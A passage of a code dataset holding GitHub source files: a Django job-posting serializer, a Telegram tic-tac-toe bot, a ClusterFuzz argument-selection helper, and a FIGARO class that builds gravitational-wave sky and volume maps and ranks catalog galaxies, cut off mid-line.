+{"seq_id":"74424863414","text":"from rest_framework import serializers\nfrom api.models import JobPosting\nfrom api.serializers import (\n    JobRoleSerializer,\n    CompanySerializer,\n    JobPostingInterviewerSerializer,\n    EmployeeSerializer,\n)\nfrom rest_flex_fields.serializers import FlexFieldsSerializerMixin\n\n\nclass JobPostingSerializer(\n    FlexFieldsSerializerMixin,\n    serializers.ModelSerializer,\n):\n    \"\"\"\n    Serializer for JobPosting model.\n    \"\"\"\n\n    class Meta:\n        model = JobPosting\n        fields = [\n            \"id\",\n            \"job_role\",\n            \"tags\",\n            \"description\",\n            \"is_active\",\n        ]\n        expandable_fields = {\n            \"job_role\": (\n                JobRoleSerializer,\n                {\"expand\": [\"department\"]},\n            ),\n            \"interviewers\": (\n                JobPostingInterviewerSerializer,\n                {\"many\": True, \"expand\": [\"employee\"]},\n            ),\n        }\n\n    def validate_job_role(self, value):\n        employee = self.context[\"request\"].user.employee\n        if value.department.company != employee.company:\n            raise serializers.ValidationError(\"Invalid Job Role.\")\n        return value\n\n\nclass PublicJobPostingSerializer(\n    FlexFieldsSerializerMixin,\n    serializers.ModelSerializer,\n):\n    \"\"\"\n    Serializer for public job posting.\n    \"\"\"\n\n    job_role_name = serializers.CharField(source=\"job_role.name\", read_only=True)\n    company = CompanySerializer(source=\"job_role.department.company\", read_only=True)\n\n    class Meta:\n        model = JobPosting\n        fields = [\n            \"id\",\n            \"job_role\",\n            \"job_role_name\",\n            \"company\",\n            \"tags\",\n            \"description\",\n        ]\n        read_only_fields = fields\n","repo_name":"utchchhwas/hrxcelerate","sub_path":"backend/api/serializers/job_posting_serializers.py","file_name":"job_posting_serializers.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"25973171653","text":"from aiogram import Bot,Dispatcher, executor, types\nfrom aiogram.types import ReplyKeyboardRemove, ReplyKeyboardMarkup, KeyboardButton\nfrom config_r import config\nimport nolik\n\nimport time\nimport random\n\n\nbot = Bot(token=config.bot_token.get_secret_value())\ndp = Dispatcher(bot)\n\nkb_main = ReplyKeyboardMarkup(resize_keyboard= True)\nkb_main.add('/calc').insert('/X_and_0')\n\nkb_xo = ReplyKeyboardMarkup(resize_keyboard= True)\nkb_xo.add('/play_with_bot').insert('/2_players')\n\nkb_xo_play = ReplyKeyboardMarkup(resize_keyboard= True)\nkb_xo_play.add('/0').insert('/1').insert('/2').add('/3').insert('/4').insert('/5').add('/6').insert('/7').insert('/8')\n\n\ngame_list = ['-'] * 9\n\ndef list_print(l):\n    l = f'''\n{game_list[0]}  {game_list[1]}  {game_list[2]}\n{game_list[3]}  {game_list[4]}  {game_list[5]}\n{game_list[6]}  {game_list[7]}  {game_list[8]}\n    '''\n    return l\nasync def on(_):\n    print('bot is runing')\n\n@dp.message_handler(commands=['start'])\nasync def com_start(message: types.Message):\n    await message.answer('hello, human.', reply_markup= kb_main)\n\n@dp.message_handler(commands=['X_and_0'])\nasync def com_X(message: types.Message):\n    await message.answer('with whom are you going play?', reply_markup= kb_xo)\n\n\n@dp.message_handler(commands=['2_players'])\nasync def com_2_players(message: types.Message):\n    await message.answer('sorry, this option is in developing')\n\n@dp.message_handler(commands=['play_with_bot'])\nasync def com_play_with_bot(message: types.Message):\n    await message.answer('ok, let\\'s go!',reply_markup= kb_xo_play)\n    r = random.randint(0, 1)\n    check = 0\n    move = 'X'\n    while not check:\n        if r:\n            time.sleep(10)\n            # await message.answer(list_print(game_list), reply_markup=kb_xo_play)\n\n            @dp.message_handler(commands=['/0'])\n            async def com_0(message: types.Message):\n                game_list[0] = move\n                # await message.delete()\n                await message.answer(list_print(game_list))\n            @dp.message_handler(commands=['/1'])\n            async def com_1(message: types.Message):\n                game_list[1] = move\n                # await message.delete()\n                await message.answer(list_print(game_list))\n        else:\n            game_list[nolik.comp(game_list)] = move\n            await message.answer(list_print(game_list))\n        if move == 'X':\n            move = '0'\n        else:\n            move = 'X'\n        r = not r\n\nif __name__ == '__main__':\n    executor.start_polling(dp, on_startup=on, skip_updates= True)","repo_name":"Noleeen/Python_PyCharm","sub_path":"HomeWork/ hw_9_TBot_calc_krestiki-noliki/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"71220137014","text":"import random\n\nfrom clusterfuzz._internal.base import utils\nfrom clusterfuzz._internal.datastore import data_types\nfrom clusterfuzz._internal.system import environment\n\n\nclass Trials:\n  \"\"\"Helper class for selecting app-specific extra flags.\"\"\"\n\n  def __init__(self):\n    self.trials = []\n\n    app_name = environment.get_value('APP_NAME')\n    if not app_name:\n      return\n\n    # Convert the app_name to lowercase. Case may vary by platform.\n    app_name = app_name.lower()\n\n    # Hack: strip file extensions that may be appended on various platforms.\n    extensions_to_strip = ['.exe', '.apk']\n    for extension in extensions_to_strip:\n      app_name = utils.strip_from_right(app_name, extension)\n\n    self.trials = list(\n        data_types.Trial.query(data_types.Trial.app_name == app_name))\n\n  def setup_additional_args_for_app(self):\n    \"\"\"Select additional args for the specified app at random.\"\"\"\n    trial_args = [\n        trial.app_args\n        for trial in self.trials\n        if random.random() < trial.probability\n    ]\n    if not trial_args:\n      return\n\n    trial_app_args = ' '.join(trial_args)\n    app_args = environment.get_value('APP_ARGS', '')\n    environment.set_value('APP_ARGS', '%s %s' % (app_args, trial_app_args))\n    environment.set_value('TRIAL_APP_ARGS', trial_app_args)\n","repo_name":"JZ1324/Hi","sub_path":"src/clusterfuzz/_internal/bot/tasks/trials.py","file_name":"trials.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"31566356760","text":"import numpy as np\nimport h5py\nimport re\nimport warnings\n\nimport matplotlib.pyplot as plt\nfrom matplotlib import rcParams\nimport matplotlib.patches as mpatches\nfrom matplotlib.lines import Line2D\nfrom corner import corner\nimport imageio\n\nfrom astropy.coordinates import SkyCoord\nfrom astropy.units import Quantity\nfrom astropy.io import fits\nfrom astropy.wcs import WCS\nimport pyvo as vo\nimport socket\n\nfrom scipy.special import logsumexp\nfrom scipy.stats import multivariate_normal as mn\nfrom numba import njit, prange\nimport dill\n\nfrom figaro.mixture import DPGMM\nfrom figaro.transform import *\nfrom figaro.coordinates import celestial_to_cartesian, cartesian_to_celestial, inv_Jacobian\nfrom figaro.credible_regions import ConfidenceArea, ConfidenceVolume, FindNearest_Volume, FindLevelForHeight\nfrom figaro.diagnostic import compute_entropy_single_draw, angular_coefficient\nfrom figaro.exceptions import FIGAROException\nfrom figaro import plot_settings\n\ntry:\n    from figaro.cosmology import CosmologicalParameters\n    lal_flag = True\nexcept ModuleNotFoundError:\n    warnings.warn(\"LAL is not installed. If provided, galaxy catalog will not be loaded\")\n    lal_flag = False\n\nfrom pathlib import Path\nfrom distutils.spawn import find_executable\nfrom tqdm import tqdm\n\n@njit\ndef log_add(x, y):\n    \"\"\"\n    Compute log(np.exp(x) + np.exp(y))\n    \n    Arguments:\n        double x: first addend (log)\n        double y: second addend (log)\n    \n    Returns:\n        double: log(np.exp(x) + np.exp(y))\n    \"\"\"\n    if x >= y:\n        return x+np.log1p(np.exp(y-x))\n    else:\n        return y+np.log1p(np.exp(x-y))\n\n@njit\ndef log_add_array(x,y):\n    \"\"\"\n    Compute log(np.exp(x) + np.exp(y)) element-wise\n    \n    Arguments:\n        np.ndarray x: first addend (log)\n        np.ndarray y: second addend (log)\n    \n    Returns:\n        np.ndarray: log(np.exp(x) + np.exp(y)) element-wise\n    \"\"\"\n    res = np.zeros(len(x), dtype = np.float64)\n    for i in prange(len(x)):\n        res[i] = log_add(x[i],y[i])\n    return res\n\n# natural sorting.\n# list.sort(key = natural_keys)\n\ndef atoi(text):\n    return int(text) if text.isdigit() else text\n\ndef natural_keys(text):\n    '''\n    list.sort(key=natural_keys) sorts in human order\n    http://nedbatchelder.com/blog/200712/human_sorting.html\n    (See Toothy's implementation in the comments)\n    '''\n    return [ atoi(c) for c in re.split(r'(\\d+)', text) ]\n\nclass VolumeReconstruction(DPGMM):\n    \"\"\"\n    Class to reconstruct the 3D probability density given a set of samples or during a PE run.\n    Child class of DPGMM class (defined in mixture.py)\n    \n    Arguments:\n        double max_dist:          maximum distance (in Mpc)\n        str or Path out_folder:   output folder\n        tuple prior_pars:         NIW prior parameters (k, L, nu, mu - see https://www.cs.ubc.ca/~murphyk/Papers/bayesGauss.pdf)\n        double alpha0:            initial guess for concentration parameter\n        list-of-int n_gridpoints: number of gridpoints for each dimension (ra, dec, dist). Default is set to have a 0.25 deg^2 resolution\n        str name:                 name to be given to output folders and files\n        list-of-str labels:       plot labels\n        list-of-double levels:    credible levels (between 0 and 1)\n        bool latex:               if True, LaTeX is used for plots (if available)\n        bool incr_plot:           if True, produce plots at fixed number of samples. Otherwise, skymaps are produced at the end of the inference only\n        str or Path glade_file:   file containing GLADE+ (hdf5 file created using the create_glade.py pipeline)\n        dict cosmology:           dictionary containing h = H0/100 km/(s*Mpc), om (matter density parameter) and ol (cosmological constant density). Default from Planck (2021)\n        int n_gal_to_plot:        number of galaxies to include in galaxy plots\n        double region_to_plot:    credible region to plot\n        bool entropy:             use entropy to assess convergence and begin producing skymaps\n        list-of-double true_host: position of the true host, if known\n        str host_name:            host name, for plotting purposes\n        int entropy_step:         interval (expressed as number of draws) between two subsequent entropy evaluations\n        int entropy_ac_step:      window lenght for entropy angular coefficient\n        int n_sign_changes:       number of zero-crossings before beginning producing skymaps (requires entropy = True)\n        bool virtual_observatory: places the virtual observatory fov behind galaxy plots. Warning: under development, might not work\n    \n    Returns:\n        VolumeReconstruction: instance of VolumeReconstruction class\n    \"\"\"\n    def __init__(self, max_dist,\n                       out_folder          = '.',\n                       prior_pars          = (1e-3, np.identity(3)*0.01**2, 10, np.zeros(3)),\n                       alpha0              = 1,\n                       n_gridpoints        = [720, 360, 100], # RA, dec, DL\n                       name                = 'skymap',\n                       labels              = ['$\\\\alpha$', '$\\\\delta$', '$D\\ [Mpc]$'],\n                       levels              = [0.50, 0.90],\n                       latex               = False,\n                       incr_plot           = False,\n                       glade_file          = None,\n                       cosmology           = {'h': 0.674, 'om': 0.315, 'ol': 0.685},\n                       n_gal_to_plot       = -1,\n                       region_to_plot      = 0.9,\n                       entropy             = False,\n                       n_entropy_MC_draws  = 1e3,\n                       true_host           = None,\n                       host_name           = 'Host',\n                       entropy_step        = 1,\n                       entropy_ac_step     = 500,\n                       n_sign_changes      = 5,\n                       virtual_observatory = False,\n                       ):\n                \n        self.max_dist = max_dist\n        bounds = np.array([[-max_dist, max_dist] for _ in range(3)])\n        self.volume_already_evaluated = False\n        \n        super().__init__(bounds, prior_pars, alpha0)\n        \n        if incr_plot:\n            self.next_plot = 20\n        else:\n            self.next_plot = np.inf\n            \n        if latex:\n            if find_executable('latex'):\n                rcParams[\"text.usetex\"] = True\n        self.latex = latex\n        \n        # Grid\n        self.ra   = np.linspace(0,2*np.pi, n_gridpoints[0])\n        self.dec  = np.linspace(-np.pi/2, np.pi/2., n_gridpoints[1])\n        self.dist = np.linspace(0, max_dist, n_gridpoints[2])\n        self.dD   = np.diff(self.dist)[0]\n        self.dra  = np.diff(self.ra)[0]\n        self.ddec = np.diff(self.dec)[0]\n        # For loops\n        grid = []\n        measure_3d = []\n        distance_measure_3d = []\n        for ra_i in self.ra:\n            for dec_i in self.dec:\n                cosdec = np.cos(dec_i)\n                for d_i in self.dist:\n                    grid.append(np.array([ra_i, dec_i, d_i]))\n                    measure_3d.append(cosdec*d_i**2)\n                    distance_measure_3d.append(d_i**2)\n        self.grid = np.array(grid)\n        self.log_measure_3d = np.log(measure_3d).reshape(len(self.ra), len(self.dec), len(self.dist))\n        self.distance_measure_3d = np.array(distance_measure_3d).reshape(len(self.ra), len(self.dec), len(self.dist))\n        grid2d = []\n        measure_2d = []\n        for ra_i in self.ra:\n            for dec_i in self.dec:\n                grid2d.append(np.array([ra_i, dec_i]))\n                measure_2d.append(np.cos(dec_i))\n        self.grid2d = np.array(grid2d)\n        self.log_measure_2d = np.log(measure_2d).reshape(len(self.ra), len(self.dec))\n        # Meshgrid\n        self.ra_2d, self.dec_2d = np.meshgrid(self.ra, self.dec)\n        self.cartesian_grid = celestial_to_cartesian(self.grid)\n        self.probit_grid = transform_to_probit(self.cartesian_grid, self.bounds)\n\n        # Jacobians\n        self.log_inv_J = -np.log(inv_Jacobian(self.grid)) - probit_logJ(self.probit_grid, self.bounds)\n        self.inv_J = np.exp(self.log_inv_J)\n        \n        # True host\n        if true_host is not None:\n            if len(true_host) == 2:\n                self.true_host = np.concatenate((np.array(true_host), np.ones(1)))\n            elif len(true_host) == 3:\n                self.true_host = true_host\n        else:\n            self.true_host = true_host\n        self.host_name = host_name\n        if self.true_host is not None:\n            self.pixel_idx  = FindNearest_Volume(self.ra, self.dec, self.dist, self.true_host)\n            self.true_pixel = np.array([self.ra[self.pixel_idx[0]], self.dec[self.pixel_idx[1]], self.dist[self.pixel_idx[2]]])\n        \n        # Credible regions levels\n        self.levels      = np.array(levels)\n        self.areas_N     = {cr:[] for cr in self.levels}\n        self.volumes_N   = {cr:[] for cr in self.levels}\n        self.N           = []\n        self.flag_skymap = True\n        if entropy == True:\n            self.flag_skymap = False\n        \n        # Catalog\n        self.catalog = None\n        if lal_flag and glade_file is not None:\n            self.cosmology = CosmologicalParameters(cosmology['h'], cosmology['om'], cosmology['ol'], 1, 0)\n            self.load_glade(glade_file)\n            self.cartesian_catalog = celestial_to_cartesian(self.catalog)\n            self.probit_catalog    = transform_to_probit(self.cartesian_catalog, self.bounds)\n            self.log_inv_J_cat     = -np.log(inv_Jacobian(self.catalog)) - probit_logJ(self.probit_catalog, self.bounds)\n            self.inv_J_cat         = np.exp(self.log_inv_J)\n        if n_gal_to_plot == -1 and self.catalog is not None:\n            self.n_gal_to_plot = len(self.catalog)\n        else:\n            self.n_gal_to_plot = n_gal_to_plot\n        if region_to_plot in self.levels:\n            self.region = region_to_plot\n        else:\n            self.region = self.levels[0]\n        self.virtual_observatory = virtual_observatory\n        \n        # Entropy\n        self.entropy            = entropy\n        self.entropy_step       = entropy_step\n        self.entropy_ac_step    = entropy_ac_step\n        self.N_for_ac           = np.arange(self.entropy_ac_step)*self.entropy_step\n        self.n_entropy_MC_draws = int(n_entropy_MC_draws)\n        self.R_S                = []\n        self.ac                 = []\n        self.n_sign_changes     = n_sign_changes\n        \n        # Output\n        self.name       = name\n        self.labels     = labels\n        self.out_folder = Path(out_folder).resolve()\n        if not self.out_folder.exists():\n            self.out_folder.mkdir()\n        self.make_folders()\n    \n    def initialise(self, true_host = None, out_folder = None, incr_plot = None, entropy = None, name = None):\n        \"\"\"\n        Initialise the mixture to initial conditions to analyse a new event.\n        \n        Arguments:\n            list-of-doubles true_host: true host for a new GW event\n            str or Path out_folder:    new output folder\n        \"\"\"\n        self.volume_already_evaluated = False\n        super().initialise()\n        self.true_host   = true_host\n        self.R_S         = []\n        self.ac          = []\n        self.areas_N     = {cr:[] for cr in self.levels}\n        self.volumes_N   = {cr:[] for cr in self.levels}\n        self.N           = []\n        self.flag_skymap = True\n        if name is not None:\n            self.name = name\n        if entropy is not None:\n            self.entropy = entropy\n        if self.entropy == True:\n            self.flag_skymap = False\n        if self.true_host is not None:\n            self.pixel_idx  = FindNearest_Volume(self.ra, self.dec, self.dist, self.true_host)\n            self.true_pixel = np.array([self.ra[self.pixel_idx[0]], self.dec[self.pixel_idx[1]], self.dist[self.pixel_idx[2]]])\n        if incr_plot is not None:\n            if incr_plot:\n                self.next_plot = 20\n            else:\n                self.next_plot = np.inf\n        else:\n            if self.next_plot < np.inf:\n                self.next_plot = 20\n        if out_folder is not None:\n            self.out_folder = Path(out_folder).resolve()\n            if not self.out_folder.exists():\n                self.out_folder.mkdir()\n        self.make_folders()\n        \n    def load_glade(self, glade_file):\n        \"\"\"\n        Load GLADE+ from hdf5 file.\n        This is tailored to the GLADE+ hdf5 file created by the create_glade.py pipeline.\n        \n        Arguments:\n            str or Path glade_file: glade file to be uploaded\n        \"\"\"\n        self.glade_header =  ' '.join(['ra', 'dec', 'z', 'm_B', 'm_K', 'm_W1', 'm_bJ', 'logp'])\n        with h5py.File(glade_file, 'r') as f:\n            ra  = np.array(f['ra'])\n            dec = np.array(f['dec'])\n            z   = np.array(f['z'])\n            B   = np.array(f['m_B'])\n            K   = np.array(f['m_K'])\n            W1  = np.array(f['m_W1'])\n            bJ  = np.array(f['m_bJ'])\n        DL = self.cosmology.LuminosityDistance(z)\n        catalog = np.array([ra, dec, DL]).T\n        self.catalog = catalog[catalog[:,2] < self.max_dist]\n        catalog_with_mag = np.array([ra, dec, z, B, K, W1, bJ]).T\n        self.catalog_with_mag = catalog_with_mag[catalog[:,2] < self.max_dist]\n\n    def make_folders(self):\n        \"\"\"\n        Make folders for outputs\n        \"\"\"\n        self.skymap_folder = Path(self.out_folder, 'skymaps', self.name)\n        if not self.skymap_folder.exists():\n            self.skymap_folder.mkdir(parents=True)\n        if self.catalog is not None:\n            self.volume_folder = Path(self.out_folder, 'volume', self.name)\n            if not self.volume_folder.exists():\n                self.volume_folder.mkdir(parents=True)\n            self.catalog_folder = Path(self.out_folder, 'catalogs', self.name)\n            if not self.catalog_folder.exists():\n                self.catalog_folder.mkdir(parents=True)\n        if self.next_plot < np.inf:\n            self.CR_folder = Path(self.out_folder, 'CR')\n            if not self.CR_folder.exists():\n                self.CR_folder.mkdir()\n            self.gif_folder = Path(self.out_folder, 'gif')\n            if not self.gif_folder.exists():\n                self.gif_folder.mkdir()\n        if self.entropy:\n            self.entropy_folder = Path(self.out_folder, 'entropy')\n            if not self.entropy_folder.exists():\n                self.entropy_folder.mkdir()\n        self.density_folder = Path(self.out_folder, 'density')\n        if not self.density_folder.exists():\n            self.density_folder.mkdir()\n\n\n    def _pdf_probit(self, x):\n        \"\"\"\n        Evaluate mixture at point(s) x in probit space.\n        Overwrites parent method to avoid memory issues in 3D grid or catalog evaluation\n        \n        Arguments:\n            np.ndarray x: point(s) to evaluate the mixture at (in probit space)\n        \n        Returns:\n            np.ndarray: mixture.pdf(x)\n        \"\"\"\n        p = np.zeros(len(x))\n        for comp, wi in zip(self.mixture, self.w):\n            p += wi*mn(comp.mu, comp.sigma).pdf(x)\n        return p\n    \n    def _logpdf_probit(self, x):\n        \"\"\"\n        Evaluate log mixture at point(s) x in probit space.\n        Overwrites parent method to avoid memory issues in 3D grid or catalog evaluation\n        \n        Arguments:\n            np.ndarray x: point(s) to evaluate the mixture at (in probit space)\n        \n        Returns:\n            np.ndarray: mixture.logpdf(x)\n        \"\"\"\n        p = -np.ones(len(x))*np.inf\n        for comp, wi in zip(self.mixture, self.log_w):\n            p = log_add_array(p, wi + mn(comp.mu, comp.sigma).logpdf(x))\n        return p\n\n    def add_new_point(self, x):\n        \"\"\"\n        Update the probability density reconstruction adding a new sample\n        Sample must be in celestial coordinate and in the following order: [ra, dec, dist].\n        \n        Arguments:\n            np.ndarray x: sample\n        \"\"\"\n        self.volume_already_evaluated = False\n        cart_x = celestial_to_cartesian(x)\n        super().add_new_point(cart_x)\n        if self.flag_skymap and self.n_pts == self.next_plot:\n            self.N.append(self.next_plot)\n            self.next_plot = 2*self.next_plot\n            self.make_skymap()\n            self.make_volume_map(n_gals = self.n_gal_to_plot)\n    \n    def sample_from_volume(self, n_samps):\n        \"\"\"\n        Draw samples from volume\n        \n        Arguments:\n            int n_samps: number of samples to draw\n        \n        Returns:\n            np.ndarray: samples in celestial coordinates (ra, dec, D)\n        \"\"\"\n        samples = self.rvs(n_samps)\n        return cartesian_to_celestial(samples)\n    \n    def plot_samples(self, n_samps, initial_samples = None):\n        \"\"\"\n        Plot samples from DPGMM reconstruction along with PE samples (if available)\n        \n        Arguments:\n            int n_samps:                number of samples to draw\n            np.ndarray initial_samples: PE samples\n        \"\"\"\n        mix_samples = self.sample_from_volume(n_samps)\n        if initial_samples is not None:\n            if self.true_host is not None:\n                c = corner(initial_samples, color = 'coral', labels = self.labels, truths = self.true_host, hist_kwargs={'density':True, 'label':'$\\mathrm{Samples}$'})\n            else:\n                c = corner(initial_samples, color = 'coral', labels = self.labels, hist_kwargs={'density':True, 'label':'$\\mathrm{Samples}$'})\n            c = corner(mix_samples, fig = c, color = 'dodgerblue', labels = self.labels, hist_kwargs={'density':True, 'label':'$\\mathrm{DPGMM}$'})\n        else:\n            c = corner(mix_samples, color = 'dodgerblue', labels = self.labels, hist_kwargs={'density':True, 'label':'$\\mathrm{DPGMM}$'})\n        plt.legend(loc = 0, frameon = False,fontsize = 15, bbox_to_anchor = (1-0.05, 2.8))\n        plt.savefig(Path(self.skymap_folder, 'corner_'+self.name+'.pdf'), bbox_inches = 'tight')\n        plt.close()\n    \n    def evaluate_skymap(self):\n        \"\"\"\n        Marginalise volume map over luminosity distance to get the 2D skymap and compute credible areas\n        \"\"\"\n        if not self.volume_already_evaluated:\n            p_vol               = self._pdf_probit(self.probit_grid) * self.inv_J\n            self.norm_p_vol     = (p_vol*np.exp(self.log_measure_3d.reshape(p_vol.shape))*self.dD*self.dra*self.ddec).sum()\n            self.log_norm_p_vol = np.log(self.norm_p_vol)\n            self.p_vol          = p_vol/self.norm_p_vol\n            \n            # By default computes log(p_vol). If -infs are present, computes log_p_vol\n            with np.errstate(divide='raise'):\n                try:\n                    self.log_p_vol = np.log(self.p_vol)\n                except FloatingPointError:\n                    self.log_p_vol = self._logpdf_probit(self.probit_grid) + self.log_inv_J - self.log_norm_p_vol\n                    \n            self.p_vol     = self.p_vol.reshape(len(self.ra), len(self.dec), len(self.dist))\n            self.log_p_vol = self.log_p_vol.reshape(len(self.ra), len(self.dec), len(self.dist))\n            self.volume_already_evaluated = True\n\n        self.p_skymap = (self.p_vol*self.dD*self.distance_measure_3d).sum(axis = -1)\n        \n        # By default computes log(p_skymap). If -infs are present, computes log_p_skymap\n        with np.errstate(divide='raise'):\n            try:\n                self.log_p_skymap = np.log(self.p_skymap)\n            except FloatingPointError:\n                self.log_p_skymap = logsumexp(self.log_p_vol + np.log(self.dD) + np.log(self.distance_measure_3d), axis = -1)\n\n        self.areas, self.skymap_idx_CR, self.skymap_heights = ConfidenceArea(self.log_p_skymap, self.ra, self.dec, log_measure = self.log_measure_2d, adLevels = self.levels)\n        for cr, area in zip(self.levels, self.areas):\n            self.areas_N[cr].append(area)\n    \n    def evaluate_volume_map(self):\n        \"\"\"\n        Evaluate volume map and compute credbile volumes\n        \"\"\"\n        if not self.volume_already_evaluated:\n            p_vol               = self._pdf_probit(self.probit_grid) * self.inv_J\n            self.norm_p_vol     = (p_vol*np.exp(self.log_measure_3d.reshape(p_vol.shape))*self.dD*self.dra*self.ddec).sum()\n            self.log_norm_p_vol = np.log(self.norm_p_vol)\n            self.p_vol          = p_vol/self.norm_p_vol\n            \n            # By default, just uses log(p_vol). If -infs are present, computes log_p_vol\n            with np.errstate(divide='raise'):\n                try:\n                    self.log_p_vol = np.log(self.p_vol)\n                except FloatingPointError:\n                    self.log_p_vol = self._logpdf_probit(self.probit_grid) + self.log_inv_J - self.log_norm_p_vol\n\n            self.p_vol     = self.p_vol.reshape(len(self.ra), len(self.dec), len(self.dist))\n            self.log_p_vol = self.log_p_vol.reshape(len(self.ra), len(self.dec), len(self.dist))\n            self.volume_already_evaluated = True\n            \n        self.volumes, self.idx_CR, self.volume_heights = ConfidenceVolume(self.log_p_vol, self.ra, self.dec, self.dist, log_measure = self.log_measure_3d, adLevels = self.levels)\n        \n        for cr, vol in zip(self.levels, self.volumes):\n            self.volumes_N[cr].append(vol)\n    \n    def compute_credible_levels_host(self):\n        \"\"\"\n        Compute credible levels for true host (if provided)\n        \"\"\"\n        self.log_p_vol_host    = self.log_p_vol[self.pixel_idx[0],self.pixel_idx[1],self.pixel_idx[2]]\n        self.log_p_skymap_host = self.log_p_skymap[self.pixel_idx[0], self.pixel_idx[1]]\n        \n        self.CR_host           = FindLevelForHeight(self.log_p_skymap, self.log_p_skymap_host, np.log(self.dra)+np.log(self.ddec))\n        self.CV_host           = FindLevelForHeight(self.log_p_vol, self.log_p_vol_host, np.log(self.dra)+np.log(self.ddec)+np.log(self.dD))\n        \n    \n    def evaluate_catalog(self, final_map = False):\n        \"\"\"\n        Evaluate the probability of being the host for each entry in the galaxy catalog and rank it accordingly.\n        If the inference is finished, save credible areas/volumes.\n        \n        Arguments:\n            bool final_map: flag to raise if the inference is finished\n        \"\"\"\n        log_p_cat                  = self._logpdf_probit(self.probit_catalog) + self.log_inv_J_cat - self.log_norm_p_vol\n        self.log_p_cat_to_plot     = log_p_cat[np.where(log_p_cat > self.volume_heights[np.where(self.levels == self.region)])]\n        self.p_cat_to_plot         = np.exp(self.log_p_cat_to_plot)\n        self.cat_to_plot_celestial = self.catalog[np.where(log_p_cat > self.volume_heights[np.where(self.levels == self.region)])]\n        self.cat_to_plot_cartesian = self.cartesian_catalog[np.where(log_p_cat > self.volume_heights[np.where(self.levels == self.region)])]\n        \n        self.sorted_cat = np.c_[self.cat_to_plot_celestial[np.argsort(self.log_p_cat_to_plot)], np.sort(self.log_p_cat_to_plot)][::-1]\n        self.sorted_cat_to_txt = np.c_[self.catalog_with_mag[np.where(log_p_cat > self.volume_heights[np.where(self.levels == self.region)])][np.argsort(self.log_p_cat_to_plot)], np.sort(self.log_p_cat_to_plot)][::-1]\n        self.sorted_p_cat_to_plot = np.sort(self.p_cat_to_plot)[::-1]\n        np.savetxt(Path(self.catalog_folder, self.name+'_{0}'.format(self.n_pts)+'.txt'), self.sorted_cat_to_txt, header = self.glade_header)\n        if final_map:\n            np.savetxt(Path(self.catalog_folder, 'CR_'+self.name+'.txt'), np.array([self.areas[np.where(self.levels == self.region)], self.volumes[np.where(self.levels == self.region)]]).T, header = 'area volume')\n    \n    def make_skymap(self, final_map = False):\n        \"\"\"\n        Produce skymap.\n        \n        Arguments:\n            bool final_map: flag to raise if the inference is finished\n        \"\"\"\n        self.evaluate_skymap()\n        fig = plt.figure()\n        ax = fig.add_subplot(111)\n        c = ax.contourf(self.ra_2d, self.dec_2d, self.p_skymap.T, 500, cmap = 'Reds')\n        ax.set_rasterization_zorder(-10)\n        c1 = ax.contour(self.ra_2d, self.dec_2d, self.log_p_skymap.T, np.sort(self.skymap_heights), colors = 'black', linewidths = 0.5, linestyles = 'dashed')\n        if self.latex:\n            ax.clabel(c1, fmt = {l:'{0:.0f}\\\\%'.format(100*s) for l,s in zip(c1.levels, self.levels[::-1])}, fontsize = 5)\n        else:\n            ax.clabel(c1, fmt = {l:'{0:.0f}%'.format(100*s) for l,s in zip(c1.levels, self.levels[::-1])}, fontsize = 5)\n        for i in range(len(self.areas)):\n            c1.collections[i].set_label('${0:.0f}\\\\%'.format(100*self.levels[-i])+ '\\ \\mathrm{CR}:'+'{0:.1f}'.format(self.areas[-i]) + '\\ \\mathrm{deg}^2$')\n        handles, labels = ax.get_legend_handles_labels()\n        patch = mpatches.Patch(color='grey', label='${0}'.format(self.n_pts)+'\\ \\mathrm{samples}$', alpha = 0)\n        handles.append(patch)\n        ax.set_xlabel('$\\\\alpha$')\n        ax.set_ylabel('$\\\\delta$')\n        ax.legend(handles = handles, fontsize = 10, handlelength=0, handletextpad=0, markerscale=0)\n        if final_map:\n            fig.savefig(Path(self.skymap_folder, self.name+'_all.pdf'), bbox_inches = 'tight')\n            if self.next_plot < np.inf:\n                fig.savefig(Path(self.gif_folder, self.name+'_all.png'), bbox_inches = 'tight')\n        else:\n            fig.savefig(Path(self.skymap_folder, self.name+'_{0}'.format(self.n_pts)+'.pdf'), bbox_inches = 'tight')\n            if self.next_plot < np.inf:\n                fig.savefig(Path(self.gif_folder, self.name+'_{0}'.format(self.n_pts)+'.png'), bbox_inches = 'tight')\n        plt.close()\n    \n    def make_volume_map(self, final_map = False, n_gals = 100):\n        \"\"\"\n        Produce volume map as 3D and 2D scatter plot of galaxies, if a catalog is provided.\n        \n        Arguments:\n            bool final_map: flag to raise if the inference is finished\n            int n_gals:     number of galaxies to plot\n        \"\"\"\n        self.evaluate_volume_map()\n        if self.catalog is None:\n            return\n            \n        self.evaluate_catalog(final_map)\n        \n        # Cartesian plot\n        fig = plt.figure()\n        ax = fig.add_subplot(111, projection = '3d')\n        ax.scatter(self.cat_to_plot_cartesian[:,0], self.cat_to_plot_cartesian[:,1], self.cat_to_plot_cartesian[:,2], c = self.p_cat_to_plot, marker = '.', alpha = 0.7, s = 0.5, cmap = 'Reds')\n        vol_str = ['${0:.0f}\\\\%'.format(100*self.levels[-i])+ '\\ \\mathrm{CR}:'+'{0:.0f}'.format(self.volumes[-i]) + '\\ \\mathrm{Mpc}^3$' for i in range(len(self.volumes))]\n        vol_str = '\\n'.join(vol_str + ['${0}'.format(len(self.cat_to_plot_cartesian)) + '\\ \\mathrm{galaxies}\\ \\mathrm{in}\\ '+'{0:.0f}\\\\%'.format(100*self.levels[np.where(self.levels == self.region)][0])+ '\\ \\mathrm{CR}$'])\n        ax.text2D(0.05, 0.95, vol_str, transform=ax.transAxes)\n        ax.set_xlabel('$x$')\n        ax.set_ylabel('$y$')\n        ax.set_zlabel('$z$')\n        if final_map:\n            fig.savefig(Path(self.volume_folder, self.name+'_cartesian_all.pdf'), bbox_inches = 'tight')\n        else:\n            fig.savefig(Path(self.volume_folder, self.name+'_cartesian_{0}'.format(self.n_pts)+'.pdf'), bbox_inches = 'tight')\n        plt.close()\n        \n        # Celestial plot\n        fig = plt.figure()\n        ax = fig.add_subplot(111, projection = '3d')\n        ax.scatter(self.cat_to_plot_celestial[:,0], self.cat_to_plot_celestial[:,1], 